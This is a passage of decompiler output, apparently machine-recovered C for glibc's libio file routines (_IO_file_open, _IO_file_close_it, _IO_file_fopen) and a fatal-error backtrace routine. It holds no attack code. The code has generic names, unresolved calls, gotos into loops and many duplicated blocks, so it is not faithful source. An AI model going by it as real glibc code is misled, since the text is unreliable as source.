if (v28 != 0) {
v25 = (int32_t *)2;
// 0x80ae560
g101 = 0;
v6 = v17;
v23 = 0;
v10 = &v26->e0;
// branch -> 0x80ae591
while (true) {
// 0x80ae591
v21 = g97 & -256 | v28 % 256;
v9 = v10;
// branch -> 0x80ae591
lab_0x16c40a40:;
int32_t v33; // 0x80ae5d8
int32_t v34; // 0x80ae5cd
while (true) {
int32_t v35 = (int32_t)v9 + 1; // 0x80ae578
char * v36; // 0x80ae700_41
if (0x1000000 * v21 == 0x25000000) {
// 0x80ae578
if (*(char *)v35 != 115) {
struct struct_59 * v37 = (struct struct_59 *)v35; // 0x80ae583_0
char * v38 = strchrnul(&v37->e0, 37); // 0x80ae584
int32_t v39 = (int32_t)v37 & -256 | (int32_t)*v38; // 0x80ae58b
if (v39 == 0) {
// break -> 0x80ae5a9
break;
}
v21 = v39;
v9 = v38;
// continue -> 0x80ae591
continue;
} else {
v36 = v9;
}
} else {
struct struct_59 * v40 = (struct struct_59 *)v35; // 0x80ae59b_0
char * v41 = strchrnul(&v40->e0, 37); // 0x80ae59c
int32_t v42 = (int32_t)v40 & -256 | (int32_t)*v41; // 0x80ae5a3
if (v42 == 0) {
// break -> 0x80ae5a9
break;
}
v21 = v42;
v9 = v41;
// continue -> 0x80ae591
continue;
}
int32_t v43 = (int32_t)v10; // 0x80ae63a
int32_t v44 = v35; // 0x80ae5cd20
char * v45; // 0x80ae700_43
int32_t * v46;
int32_t v47; // 0x80ae6ef
if (0x1000000 * v11 == 0x25000000) {
// 0x80ae63a
if (*(char *)(v43 + 1) == 115) {
int32_t v48 = (int32_t)v6; // 0x80ae6e6
v47 = *v6;
strlen((char *)v47);
v34 = v48;
v46 = (int32_t *)(v48 + 4);
v45 = (char *)(v43 + 2);
// branch -> 0x80ae5c6
lab_0x71e9510:
// 0x80ae5c6
v33 = v23 + 1;
int32_t v49 = (int32_t)*v45 | v47 & -256; // 0x80ae5de
v11 = v49;
if (v49 == 0) {
// break (via goto) -> 0x80ae651
goto lab_0x71f8c50;
}
v22 = v34;
v6 = v46;
v23 = v33;
v10 = v45;
// continue (via goto) -> 0x80ae591
goto lab_0x721c160;
} else {
v44 = v43;
}
}
// 0x80ae5b8
v47 = v43;
v34 = v44;
v46 = v6;
v45 = v36;
// branch -> 0x80ae5c6
goto lab_0x71e9510;
}
lab_0x71f8c50:
// 0x80ae651
if (v33 >= 1) {
int32_t * v50 = a1; // bp+012
int32_t v51 = 0;
if (v23 >= 0) {
// 0x80ae676
g101 = v33;
int32_t v52 = 0; // 0x80ae69e
int32_t v53 = v34; // 0x80ae692
int32_t * v54 = (int32_t *)(v53 + 4); // 0x80ae68c_0
int32_t v55 = *v54; // 0x80ae695
// branch -> 0x80ae688
while (v33 != v52 + 1) {
// 0x80ae688
v52++;
v53 += 8;
v54 = (int32_t *)(v53 + 4);
v55 += *v54;
// continue -> 0x80ae688
}
// 0x80ae6a6
v50 = (int32_t *)*v54;
v51 = v55;
// branch -> 0x80ae6a6
}
// 0x80ae6a6
if (v51 == 146) {
// 0x80ae6d3
g98 = (int32_t)v25 & -256 | 1;
v30 = v50;
v24 = v25;
// branch -> 0x80ae627
// 0x80ae627
g102 = (int32_t)v30;
if (v30 == NULL) {
// 0x80ae632
g98 = v4;
g101 = v3;
g102 = v2;
g100 = v1;
return 146;
}
// 0x80ae712
if (v30 < (int32_t *)2 || g98 == 0) {
// 0x80ae71c
abort();
// UNREACHABLE
}
// 0x80ae721
v13 = __backtrace(&v19, 64);
g98 = v13;
g101 = 64;
if (v13 < 3) {
// 0x80ae71c
abort();
// UNREACHABLE
}
// 0x80ae738
__write_nocancel(v24, (int32_t)"======= Backtrace: =========\n", (int32_t *)29, v1);
v7 = (int32_t)v24;
backtrace_symbols_fd((int32_t **)&v18, g98 - 1, v7, v7);
__write_nocancel(v24, (int32_t)"======= Memory map: ========\n", (int32_t *)29, v18);
g101 = unknown_809350a();
// branch -> 0x80ae7a4
while (true) {
// 0x80ae7a4
v14 = unknown_809311a();
if (v14 > 0) {
lab_0xbde3ea0:;
// 0x80ae790
int32_t v56;
__write_nocancel(v24, v56, (int32_t *)v14, v1);
if (v14 != 4) {
// break -> 0x80ae7b9
break;
}
// continue -> 0x80ae7a4
continue;
}
// 0x80ae7b9
g98 = g101;
abort();
// UNREACHABLE
}
// 0x80ae7b9
g98 = g101;
abort();
// UNREACHABLE
}
v32 = v50;
v31 = v25;
} else {
v32 = a1;
v31 = v25;
}
}
}
// 0x80ae615
vsyslog(3, (int32_t)a2, v15, v16);
v30 = v32;
v24 = v31;
// branch -> 0x80ae627
// 0x80ae627
g102 = (int32_t)v30;
if (v30 == NULL) {
// 0x80ae632
g98 = v4;
g101 = v3;
g102 = v2;
g100 = v1;
return -24;
}
// 0x80ae712
if (v30 < (int32_t *)2 || g98 == 0) {
// 0x80ae71c
abort();
// UNREACHABLE
}
// 0x80ae721
v13 = __backtrace(&v19, 64);
g98 = v13;
g101 = 64;
if (v13 < 3) {
// 0x80ae71c
abort();
// UNREACHABLE
}
// 0x80ae738
__write_nocancel(v24, (int32_t)"======= Backtrace: =========\n", (int32_t *)29, v1);
v7 = (int32_t)v24;
backtrace_symbols_fd((int32_t **)&v18, g98 - 1, v7, v7);
__write_nocancel(v24, (int32_t)"======= Memory map: ========\n", (int32_t *)29, v18);
g101 = unknown_809350a();
// branch -> 0x80ae7a4
while (true) {
// 0x80ae7a4
v14 = unknown_809311a();
if (v14 > 0) {
goto lab_0xbde3ea0;
}
// 0x80ae7b9
g98 = g101;
abort();
// UNREACHABLE
}
}
// 0x80ae5ea
v12 = unknown_809350a();
v8 = (int32_t *)v12;
v20 = (int32_t)(struct struct_59 *)"/dev/tty";
g101 = 2306;
if (v12 == -1) {
// 0x80ae549
v26 = a2;
v28 = (int32_t)v26->e0 | v20 & -256;
v11 = v28;
if (v28 != 0) {
v25 = (int32_t *)2;
// 0x80ae560
g101 = 0;
v6 = v17;
v23 = 0;
v10 = &v26->e0;
// branch -> 0x80ae591
while (true) {
// 0x80ae591
v21 = g97 & -256 | v28 % 256;
v9 = v10;
// branch -> 0x80ae591
goto lab_0x16c40a40;
}
} else {
v31 = (int32_t *)2;
}
} else {
// 0x80ae608
v27 = a2;
v29 = (int32_t)v27->e0 | v20 & -256;
v11 = v29;
if (v29 != 0) {
v25 = v8;
// 0x80ae560
g101 = 0;
v6 = v17;
v23 = 0;
v10 = &v27->e0;
// branch -> 0x80ae591
while (true) {
// 0x80ae591
v21 = g97 & -256 | v29 % 256;
v9 = v10;
// branch -> 0x80ae591
goto lab_0x16c40a40;
}
} else {
v31 = v8;
}
}
// 0x80ae615
vsyslog(3, (int32_t)a2, v15, v16);
v30 = a1;
v24 = v31;
// branch -> 0x80ae627
// 0x80ae627
g102 = (int32_t)v30;
if (v30 == NULL) {
// 0x80ae632
g98 = v4;
g101 = v3;
g102 = v2;
g100 = v1;
return -24;
}
// 0x80ae712
if (v30 < (int32_t *)2 || g98 == 0) {
// 0x80ae71c
abort();
// UNREACHABLE
}
// 0x80ae721
v13 = __backtrace(&v19, 64);
g98 = v13;
g101 = 64;
if (v13 < 3) {
// 0x80ae71c
abort();
// UNREACHABLE
}
// 0x80ae738
__write_nocancel(v24, (int32_t)"======= Backtrace: =========\n", (int32_t *)29, v1);
v7 = (int32_t)v24;
backtrace_symbols_fd((int32_t **)&v18, g98 - 1, v7, v7);
__write_nocancel(v24, (int32_t)"======= Memory map: ========\n", (int32_t *)29, v18);
g101 = unknown_809350a();
// branch -> 0x80ae7a4
while (true) {
// 0x80ae7a4
v14 = unknown_809311a();
if (v14 > 0) {
goto lab_0xbde3ea0;
}
// 0x80ae7b9
g98 = g101;
abort();
// UNREACHABLE
}
}
// 0x80ae5ea
v12 = unknown_809350a();
v8 = (int32_t *)v12;
v20 = (int32_t)(struct struct_59 *)"/dev/tty";
g101 = 2306;
if (v12 == -1) {
// 0x80ae549
v26 = a2;
v28 = (int32_t)v26->e0 | v20 & -256;
v11 = v28;
if (v28 != 0) {
v25 = (int32_t *)2;
// 0x80ae560
g101 = 0;
v6 = v17;
v23 = 0;
v10 = &v26->e0;
// branch -> 0x80ae591
while (true) {
// 0x80ae591
v21 = g97 & -256 | v28 % 256;
v9 = v10;
// branch -> 0x80ae591
goto lab_0x16c40a40;
}
}
// 0x80ae615
vsyslog(3, (int32_t)a2, v15, v16);
v30 = a1;
v24 = (int32_t *)2;
// branch -> 0x80ae627
// 0x80ae627
g102 = (int32_t)v30;
if (v30 == NULL) {
// 0x80ae632
g98 = v4;
g101 = v3;
g102 = v2;
g100 = v1;
return -24;
}
// 0x80ae712
if (v30 < (int32_t *)2 || g98 == 0) {
// 0x80ae71c
abort();
// UNREACHABLE
}
// 0x80ae721
v13 = __backtrace(&v19, 64);
g98 = v13;
g101 = 64;
if (v13 < 3) {
// 0x80ae71c
abort();
// UNREACHABLE
}
// 0x80ae738
__write_nocancel(v24, (int32_t)"======= Backtrace: =========\n", (int32_t *)29, v1);
v7 = (int32_t)v24;
backtrace_symbols_fd((int32_t **)&v18, g98 - 1, v7, v7);
__write_nocancel(v24, (int32_t)"======= Memory map: ========\n", (int32_t *)29, v18);
g101 = unknown_809350a();
// branch -> 0x80ae7a4
while (true) {
// 0x80ae7a4
v14 = unknown_809311a();
if (v14 > 0) {
goto lab_0xbde3ea0;
}
// 0x80ae7b9
g98 = g101;
abort();
// UNREACHABLE
}
} else {
// 0x80ae608
v27 = a2;
v29 = (int32_t)v27->e0 | v20 & -256;
v11 = v29;
if (v29 != 0) {
v25 = v8;
// 0x80ae560
g101 = 0;
v22 = g97 & -256 | v29 % 256;
v6 = v17;
v23 = 0;
v10 = &v27->e0;
// branch -> 0x80ae591
lab_0x721c160:
while (true) {
// 0x80ae591
v21 = v22;
v9 = v10;
// branch -> 0x80ae591
goto lab_0x16c40a40;
}
}
// 0x80ae615
vsyslog(3, (int32_t)a2, v15, v16);
v30 = a1;
v24 = v8;
// branch -> 0x80ae627
// 0x80ae627
g102 = (int32_t)v30;
if (v30 == NULL) {
// 0x80ae632
g98 = v4;
g101 = v3;
g102 = v2;
g100 = v1;
return -24;
}
// 0x80ae712
if (v30 < (int32_t *)2 || g98 == 0) {
// 0x80ae71c
abort();
// UNREACHABLE
}
// 0x80ae721
v13 = __backtrace(&v19, 64);
g98 = v13;
g101 = 64;
if (v13 < 3) {
// 0x80ae71c
abort();
// UNREACHABLE
}
// 0x80ae738
__write_nocancel(v24, (int32_t)"======= Backtrace: =========\n", (int32_t *)29, v1);
v7 = (int32_t)v24;
backtrace_symbols_fd((int32_t **)&v18, g98 - 1, v7, v7);
__write_nocancel(v24, (int32_t)"======= Memory map: ========\n", (int32_t *)29, v18);
g101 = unknown_809350a();
// branch -> 0x80ae7a4
while (true) {
// 0x80ae7a4
v14 = unknown_809311a();
if (v14 > 0) {
goto lab_0xbde3ea0;
}
// 0x80ae7b9
g98 = g101;
abort();
// UNREACHABLE
}
}
}
// Address range: 0x80ae7e4 - 0x80ae811
int32_t _IO_file_init(struct struct_123 * a1) {
int32_t v1 = g98; // 0x80ae7e7
int32_t v2 = (int32_t)a1; // 0x80ae7e8
*(int32_t *)(v2 + 76) = -1;
*(int32_t *)(v2 + 80) = -1;
int32_t * v3 = (int32_t *)v2; // 0x80ae7f9_0
*v3 = *v3 | 0x240c;
struct struct_123 * v4 = (struct struct_123 *)v2; // 0x80ae7ff_0
_IO_link_in(&v4->e0, v1);
*(int32_t *)(v2 + 56) = -1;
g98 = v1;
return (int32_t)v4;
}
// Address range: 0x80ae814 - 0x80ae8e2
int32_t _IO_file_open(struct struct_124 * a1, char * path, int32_t * a3, struct struct_124 * a4, char * a5, int32_t * a6) {
int32_t v1 = g98; // 0x80ae819
int32_t v2 = (int32_t)a1; // 0x80ae81a
g98 = v2;
int32_t v3 = (int32_t)a3; // 0x80ae820
g96 = v3;
int32_t v4 = (int32_t)a5;
int32_t v5 = a6 == NULL ? 0x8000 : 0; // 0x80ae83b
int32_t fd;
if (*(char *)(v2 + 60) == 2) {
int32_t oflag = v5 | v3; // 0x80ae841
g95 = oflag;
fd = open(path, oflag);
// branch -> 0x80ae84f
} else {
// 0x80ae8c4
g95 = v5 | v3;
fd = unknown_809350a();
v1 = (int32_t)path;
// branch -> 0x80ae84f
}
// 0x80ae84f
g101 = fd;
char * v6 = (char *)v1; // 0x80ae8d2_02
if (fd < 0) {
// 0x80ae8b8
g98 = v1;
return 0;
}
// 0x80ae853
*(int32_t *)(g98 + 56) = fd;
int32_t * v7 = (int32_t *)g98; // 0x80ae856_0
int32_t v8 = v4 & 0x100c; // 0x80ae85f
g97 = v8;
*v7 = v8 | *v7 & -0x100d;
int32_t v9; // 0x80ae877
int32_t result;
if (v4 == 0x1000) {
// 0x80ae87d
v9 = (int32_t)v6;
_IO_link_in(&((struct struct_124 *)g98)->e0, v9);
result = g98;
g98 = v9;
return result;
}
// 0x80ae871
g1 = false;
int32_t v10 = v4 & 4; // 0x80ae871
g103 = v10 == 0;
g102 = v10;
char * v11; // 0x80ae8d2_04
if (v4 != 4) {
int32_t v12 = g98; // 0x80ae888
int32_t v13 = *(int32_t *)(v12 + 148); // 0x80ae888
g95 = v13;
int32_t v14 = (int32_t)g2; // 0x80ae897
((int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t))*(int32_t *)(v13 + 36))(v12, v14, v14, 2, 3);
v11 = NULL;
// branch -> 0x80ae87d
} else {
v11 = v6;
}
// 0x80ae87d
v9 = (int32_t)v11;
_IO_link_in(&((struct struct_124 *)g98)->e0, v9);
result = g98;
g98 = v9;
return result;
}
// Address range: 0x80b03e0 - 0x80b060b
int32_t _IO_file_close_it(struct struct_125 * a1) {
int32_t v1 = g100; // bp-4
int32_t v2 = g102; // 0x80b03e3
struct struct_125 * v3 = (struct struct_125 *)v2; // bp-8
int32_t v4 = g101; // 0x80b03e4
struct struct_125 * v5 = (struct struct_125 *)v4; // bp-12
int32_t v6 = g98; // 0x80b03e5
struct struct_121 * v7 = (struct struct_121 *)v6; // bp-16
struct struct_125 * v8 = (struct struct_125 *)v6; // bp-20
int32_t v9 = (int32_t)a1; // 0x80b03e7
g98 = v9;
if (*(int32_t *)(v9 + 56) == -1) {
// 0x80b0558
g98 = v6;
g101 = v4;
g102 = v2;
return -1;
}
// 0x80b03f4
struct struct_18 * v10; // 0x80b0439_4
struct struct_18 * v11; // 0x80b056e_5
int32_t v12;
int32_t v13; // bp-36
int32_t v14; // 0x80b0438
int32_t result; // 0x80b048f
int32_t result2; // 0x80b04d0
int32_t v15; // 0x80b0407
int32_t v16; // 0x80b0416
int32_t v17; // 0x80b0407
int32_t v18; // 0x80b043e
if (a1->e0 != 8) {
// 0x80b03ff
g102 = 0;
// branch -> 0x80b0401
// 0x80b0401
_IO_unsave_markers((struct struct_134 *)g98);
v15 = g98;
v17 = *(int32_t *)(v15 + 148);
g95 = v17;
((int32_t (*)(int32_t))*(int32_t *)(v17 + 68))(v15);
g101 = g95;
v16 = g98;
if (*(int32_t *)(v16 + 92) < 1) {
// 0x80b0567
v3 = NULL;
v5 = NULL;
v7 = NULL;
v8 = (struct struct_125 *)v16;
v11 = g2;
_IO_setb((struct struct_128 *)v16, &v11->e0, &v11->e0, (struct struct_128 *)v11, &v1);
*(int32_t *)(g98 + 12) = 0;
*(int32_t *)(g98 + 4) = 0;
*(int32_t *)(g98 + 8) = 0;
*(int32_t *)(g98 + 20) = 0;
*(int32_t *)(g98 + 16) = 0;
*(int32_t *)(g98 + 24) = 0;
// branch -> 0x80b046d
} else {
// 0x80b0421
v14 = v16;
if (*(int32_t *)(*(int32_t *)(v16 + 88) + 32) != 0) {
// 0x80b042b
_IO_free_wbackup_area((struct struct_143 *)v16, (int32_t)v8);
v14 = g98;
// branch -> 0x80b0432
}
// 0x80b0432
v13 = v14;
v10 = g2;
_IO_wsetb((struct struct_141 *)&v13, &v10->e0, &v10->e0, (int32_t)v10);
v18 = *(int32_t *)(g98 + 88);
v12 = v18;
*(int32_t *)(v18 + 8) = 0;
*(int32_t *)v12 = 0;
*(int32_t *)(v12 + 4) = 0;
*(int32_t *)(v12 + 16) = 0;
*(int32_t *)(v12 + 12) = 0;
*(int32_t *)(v12 + 20) = 0;
// branch -> 0x80b046d
}
// 0x80b046d
_IO_un_link((char *)g98, (int32_t)v8);
*(int32_t *)g98 = -0x452dbf4;
*(int32_t *)(g98 + 56) = -1;
*(int32_t *)(g98 + 76) = -1;
*(int32_t *)(g98 + 80) = -1;
result = g101;
if (result != 0) {
// 0x80b0493
g98 = (int32_t)v7;
g101 = (int32_t)v5;
g102 = (int32_t)v3;
return result;
}
// 0x80b04d0
result2 = g102;
g98 = (int32_t)v7;
g101 = (int32_t)v5;
g102 = (int32_t)v3;
return result2;
}
int32_t v19 = *(int32_t *)(v9 + 92); // 0x80b04a9
g96 = v19;
if (v19 >= 1) {
int32_t * v20 = a1->e15; // 0x80b04b3
int32_t v21 = *(int32_t *)(a1->e12 + 16); // 0x80b04b6
struct struct_125 * v22 = (struct struct_125 *)((v21 - (int32_t)v20) / 4); // 0x80b04be_0
v3 = v22;
v5 = (struct struct_125 *)v20;
v7 = (struct struct_121 *)a1;
v8 = (struct struct_125 *)0x80b04c6;
g102 = _IO_wdo_write((struct struct_121 *)a1, v20, &v22->e0);
// branch -> 0x80b0401
// 0x80b0401
_IO_unsave_markers((struct struct_134 *)g98);
v15 = g98;
v17 = *(int32_t *)(v15 + 148);
g95 = v17;
((int32_t (*)(int32_t))*(int32_t *)(v17 + 68))(v15);
g101 = g95;
v16 = g98;
if (*(int32_t *)(v16 + 92) < 1) {
// 0x80b0567
v3 = NULL;
v5 = NULL;
v7 = NULL;
v8 = (struct struct_125 *)v16;
v11 = g2;
_IO_setb((struct struct_128 *)v16, &v11->e0, &v11->e0, (struct struct_128 *)v11, &v1);
*(int32_t *)(g98 + 12) = 0;
*(int32_t *)(g98 + 4) = 0;
*(int32_t *)(g98 + 8) = 0;
*(int32_t *)(g98 + 20) = 0;
*(int32_t *)(g98 + 16) = 0;
*(int32_t *)(g98 + 24) = 0;
// branch -> 0x80b046d
} else {
// 0x80b0421
v14 = v16;
if (*(int32_t *)(*(int32_t *)(v16 + 88) + 32) != 0) {
// 0x80b042b
_IO_free_wbackup_area((struct struct_143 *)v16, (int32_t)v8);
v14 = g98;
// branch -> 0x80b0432
}
// 0x80b0432
v13 = v14;
v10 = g2;
_IO_wsetb((struct struct_141 *)&v13, &v10->e0, &v10->e0, (int32_t)v10);
v18 = *(int32_t *)(g98 + 88);
v12 = v18;
*(int32_t *)(v18 + 8) = 0;
*(int32_t *)v12 = 0;
*(int32_t *)(v12 + 4) = 0;
*(int32_t *)(v12 + 16) = 0;
*(int32_t *)(v12 + 12) = 0;
*(int32_t *)(v12 + 20) = 0;
// branch -> 0x80b046d
}
// 0x80b046d
_IO_un_link((char *)g98, (int32_t)v8);
*(int32_t *)g98 = -0x452dbf4;
*(int32_t *)(g98 + 56) = -1;
*(int32_t *)(g98 + 76) = -1;
*(int32_t *)(g98 + 80) = -1;
result = g101;
if (result != 0) {
// 0x80b0493
g98 = (int32_t)v7;
g101 = (int32_t)v5;
g102 = (int32_t)v3;
return result;
}
// 0x80b04d0
result2 = g102;
g98 = (int32_t)v7;
g101 = (int32_t)v5;
g102 = (int32_t)v3;
return result2;
}
int32_t v23 = (int32_t)a1->e4; // 0x80b04dc_0
g101 = v23;
int32_t v24 = *(int32_t *)(v9 + 20); // 0x80b04df
v8 = (struct struct_125 *)(v24 - v23);
if (v24 == v23) {
// 0x80b03ff
g102 = 0;
// branch -> 0x80b0401
} else {
// 0x80b0504
g1 = false;
g103 = true;
g97 = 8;
a1->e9 = -1;
*(int32_t *)(g98 + 80) = -1;
int32_t v25 = g98;
struct struct_125 * v26 = v8;
int32_t v27 = g101;
g95 = *(int32_t *)(v25 + 148);
v3 = v26;
v5 = (struct struct_125 *)v27;
v7 = (struct struct_121 *)v25;
v8 = (struct struct_125 *)0x80b0512;
((int32_t (*)(int32_t, int32_t, int32_t))a1->e20)(v25, v27, (int32_t)v26);
int32_t v28 = g95; // 0x80b0512
int32_t v29 = g98; // 0x80b0514
int32_t v30 = (int32_t)*(int16_t *)(v29 + 68); // 0x80b0514
int32_t v31 = v29; // 0x80b0528
if ((v30 || v28 & -0x10000) != 0) {
// 0x80b0520
if (v28 != 0) {
// 0x80b05eb
v3 = (struct struct_125 *)v28;
int32_t v32 = g101; // 0x80b05ec
v5 = (struct struct_125 *)v32;
int32_t v33 = v30 - 1; // 0x80b05f0
v7 = (struct struct_121 *)v33;
v8 = (struct struct_125 *)0x80b05f7;
int32_t v34 = _IO_adjust_column(v33, v32, v28, v1); // 0x80b05f2
*(int16_t *)(g98 + 68) = (int16_t)(v34 + 1);
v31 = g98;
// branch -> 0x80b0528
} else {
v31 = v29;
}
}
int32_t v35 = *(int32_t *)(v31 + 28); // 0x80b0528
v12 = v35;
*(int32_t *)(v31 + 12) = v35;
*(int32_t *)(g98 + 4) = v12;
*(int32_t *)(g98 + 8) = v12;
*(int32_t *)(g98 + 20) = v12;
*(int32_t *)(g98 + 16) = v12;
int32_t v36 = g98; // 0x80b053a
if (*(int32_t *)(v36 + 92) < 1) {
// 0x80b05a5
int32_t v37; // 0x80b0544
if (*(int32_t *)v36 == 514) {
// 0x80b05ad
v37 = *(int32_t *)(v36 + 32);
// branch -> 0x80b0547
} else {
// 0x80b05a5
v37 = v12;
// branch -> 0x80b0547
}
// 0x80b0547
*(int32_t *)(v36 + 24) = v37;
g102 = v28 != (int32_t)v8;
// branch -> 0x80b0401
// 0x80b0401
_IO_unsave_markers((struct struct_134 *)g98);
v15 = g98;
v17 = *(int32_t *)(v15 + 148);
g95 = v17;
((int32_t (*)(int32_t))*(int32_t *)(v17 + 68))(v15);
g101 = g95;
v16 = g98;
if (*(int32_t *)(v16 + 92) < 1) {
// 0x80b0567
v3 = NULL;
v5 = NULL;
v7 = NULL;
v8 = (struct struct_125 *)v16;
v11 = g2;
_IO_setb((struct struct_128 *)v16, &v11->e0, &v11->e0, (struct struct_128 *)v11, &v1);
*(int32_t *)(g98 + 12) = 0;
*(int32_t *)(g98 + 4) = 0;
*(int32_t *)(g98 + 8) = 0;
*(int32_t *)(g98 + 20) = 0;
*(int32_t *)(g98 + 16) = 0;
*(int32_t *)(g98 + 24) = 0;
// branch -> 0x80b046d
} else {
// 0x80b0421
v14 = v16;
if (*(int32_t *)(*(int32_t *)(v16 + 88) + 32) != 0) {
// 0x80b042b
_IO_free_wbackup_area((struct struct_143 *)v16, (int32_t)v8);
v14 = g98;
// branch -> 0x80b0432
}
// 0x80b0432
v13 = v14;
v10 = g2;
_IO_wsetb((struct struct_141 *)&v13, &v10->e0, &v10->e0, (int32_t)v10);
v18 = *(int32_t *)(g98 + 88);
v12 = v18;
*(int32_t *)(v18 + 8) = 0;
*(int32_t *)v12 = 0;
*(int32_t *)(v12 + 4) = 0;
*(int32_t *)(v12 + 16) = 0;
*(int32_t *)(v12 + 12) = 0;
*(int32_t *)(v12 + 20) = 0;
// branch -> 0x80b046d
}
// 0x80b046d
_IO_un_link((char *)g98, (int32_t)v8);
*(int32_t *)g98 = -0x452dbf4;
*(int32_t *)(g98 + 56) = -1;
*(int32_t *)(g98 + 76) = -1;
*(int32_t *)(g98 + 80) = -1;
result = g101;
if (result != 0) {
// 0x80b0493
g98 = (int32_t)v7;
g101 = (int32_t)v5;
g102 = (int32_t)v3;
return result;
}
// 0x80b04d0
result2 = g102;
g98 = (int32_t)v7;
g101 = (int32_t)v5;
g102 = (int32_t)v3;
return result2;
}
// 0x80b0541
// branch -> 0x80b0547
// 0x80b0547
*(int32_t *)(v36 + 24) = *(int32_t *)(v36 + 32);
g102 = v28 != (int32_t)v8;
// branch -> 0x80b0401
}
// 0x80b0401
_IO_unsave_markers((struct struct_134 *)g98);
v15 = g98;
v17 = *(int32_t *)(v15 + 148);
g95 = v17;
((int32_t (*)(int32_t))*(int32_t *)(v17 + 68))(v15);
g101 = g95;
v16 = g98;
if (*(int32_t *)(v16 + 92) < 1) {
// 0x80b0567
v3 = NULL;
v5 = NULL;
v7 = NULL;
v8 = (struct struct_125 *)v16;
v11 = g2;
_IO_setb((struct struct_128 *)v16, &v11->e0, &v11->e0, (struct struct_128 *)v11, &v1);
*(int32_t *)(g98 + 12) = 0;
*(int32_t *)(g98 + 4) = 0;
*(int32_t *)(g98 + 8) = 0;
*(int32_t *)(g98 + 20) = 0;
*(int32_t *)(g98 + 16) = 0;
*(int32_t *)(g98 + 24) = 0;
// branch -> 0x80b046d
} else {
// 0x80b0421
v14 = v16;
if (*(int32_t *)(*(int32_t *)(v16 + 88) + 32) != 0) {
// 0x80b042b
_IO_free_wbackup_area((struct struct_143 *)v16, (int32_t)v8);
v14 = g98;
// branch -> 0x80b0432
}
// 0x80b0432
v13 = v14;
v10 = g2;
_IO_wsetb((struct struct_141 *)&v13, &v10->e0, &v10->e0, (int32_t)v10);
v18 = *(int32_t *)(g98 + 88);
v12 = v18;
*(int32_t *)(v18 + 8) = 0;
*(int32_t *)v12 = 0;
*(int32_t *)(v12 + 4) = 0;
*(int32_t *)(v12 + 16) = 0;
*(int32_t *)(v12 + 12) = 0;
*(int32_t *)(v12 + 20) = 0;
// branch -> 0x80b046d
}
// 0x80b046d
_IO_un_link((char *)g98, (int32_t)v8);
*(int32_t *)g98 = -0x452dbf4;
*(int32_t *)(g98 + 56) = -1;
*(int32_t *)(g98 + 76) = -1;
*(int32_t *)(g98 + 80) = -1;
result = g101;
if (result != 0) {
// 0x80b0493
g98 = (int32_t)v7;
g101 = (int32_t)v5;
g102 = (int32_t)v3;
return result;
}
// 0x80b04d0
result2 = g102;
g98 = (int32_t)v7;
g101 = (int32_t)v5;
g102 = (int32_t)v3;
return result2;
}
// Address range: 0x80b060c - 0x80b0972
int32_t _IO_file_fopen(int32_t * a1, int32_t * a2, struct struct_127 * a3, struct struct_125 * a4, int32_t a5) {
struct struct_126 * v1 = NULL; // bp-52
int32_t v2 = g100; // 0x80b060c
int32_t v3 = g102; // 0x80b060f
int32_t v4 = g101; // 0x80b0610
int32_t v5 = g98; // 0x80b0611
int32_t v6 = (int32_t)a3; // 0x80b0615
g96 = v6;
int32_t v7 = (int32_t)a1; // 0x80b0618
g95 = v7;
if (*(int32_t *)(v7 + 56) == -1) {
int32_t v8 = (int32_t)a3->e0 | v7 & -256; // 0x80b0634
int32_t v9; // 0x80b0680
int32_t v10; // 0x80b073f
int32_t v11; // 0x80b0767
int32_t v12; // 0x80b0889
char * v13; // 0x80b06b3_0
char * str; // 0x80b06de_0
int32_t v14; // 0x80b06e8_0
int32_t * v15; // 0x80b0856_0
int32_t * v16; // 0x80b0929_0
int32_t v17;
int32_t v18;
char * substr_pos; // 0x80b06df
int32_t result2; // 0x80b06c3
int32_t v19; // 0x80b0838
int32_t v20; // 0x80b0838
int32_t * v21;
int32_t v22; // 0x80b0700
int32_t v23;
int32_t v24;
int32_t v25; // 0x80b0740
int32_t v26; // 0x80b0758
int32_t v27; // 0x80b084e
struct struct_125 * v28; // 0x80b06e5_0
int32_t v29; // 0x80b083b
int32_t v30; // 0x80b06a821
int32_t v31; // 0x80b085e
int32_t v32; // 0x80b0886
int32_t v33; // 0x80b088f
int32_t v34; // 0x80b068112
int32_t v35; // 0x80b06d6
int32_t v36; // 0x80b06f3
int32_t v37; // 0x80b0744
struct struct_125 * v38; // 0x80b06b0_0
int32_t v39; // 0x80b0722
struct struct_126 * v40; // 0x80b0722_0
int32_t v41; // 0x80b074a
struct struct_126 * v42; // 0x80b074a_0
int32_t v43; // 0x80b0761
struct struct_126 * v44; // 0x80b076c_0
int32_t v45; // 0x80b0856
int32_t result; // 0x80b0875
int32_t v46; // 0x80b0681
int32_t v47; // 0x80b0725
int32_t v48; // 0x80b0897
int32_t v49; // 0x80b06b9
int32_t v50; // 0x80b09534
if (v8 == 114) {
// 0x80b07d4
v18 = 0;
g102 = 8;
v34 = 114;
v23 = 0;
// branch -> 0x80b067c
} else {
// 0x80b063e
if (v8 == 119) {
// 0x80b07e7
v18 = 1;
g102 = 4;
v34 = 119;
v23 = 576;
// branch -> 0x80b067c
} else {
// 0x80b0646
if (v8 != 97) {
// 0x80b064a
g95 = -24;
g98 = v5;
g101 = v4;
g102 = v3;
return 0;
}
// 0x80b0668
g102 = 0x1004;
v18 = 1;
v34 = 97;
v23 = 1088;
// branch -> 0x80b067c
}
// 0x80b067c
g98 = v6;
v16 = (int32_t *)(v7 + 60);
v30 = v6;
int32_t v51 = v6; // 0x80b0680
v24 = v23;
// branch -> 0x80b0680
while (true) {
// 0x80b0680
v9 = v51 + 1;
v46 = (int32_t)*(char *)v9 | v34 & -256;
if (v46 == 99) {
// 0x80b07c8
*v16 = *v16 | 2;
// branch -> 0x80b06b0
} else {
lab_0x277b34b0:;
// 0x80b068b
int32_t v52;
int32_t v53; // 0x80b06ab
int32_t v54; // 0x80b06a8
if (v46 <= 99) {
// 0x80b0691
if (v46 == 98) {
// 0x80b0932
g98 = v9;
v53 = v9;
v54 = v30;
v52 = v24;
// branch -> 0x80b06a8
goto lab_0x30f7f960;
} else {
// 0x80b0699
if (v46 != 0) {
// 0x80b069d
if (v46 != 43) {
v53 = v9;
v54 = v30;
v52 = v24;
goto lab_0x30f7f960;
}
// 0x80b0939
g102 &= 0x1000;
g98 = v9;
v18 = 2;
v53 = v9;
v54 = v30;
v52 = v24;
// branch -> 0x80b06a8
goto lab_0x30f7f960;
}
}
// 0x80b06b0
v38 = a4;
v13 = (char *)g102;
v49 = v18 | v24;
g101 = v49;
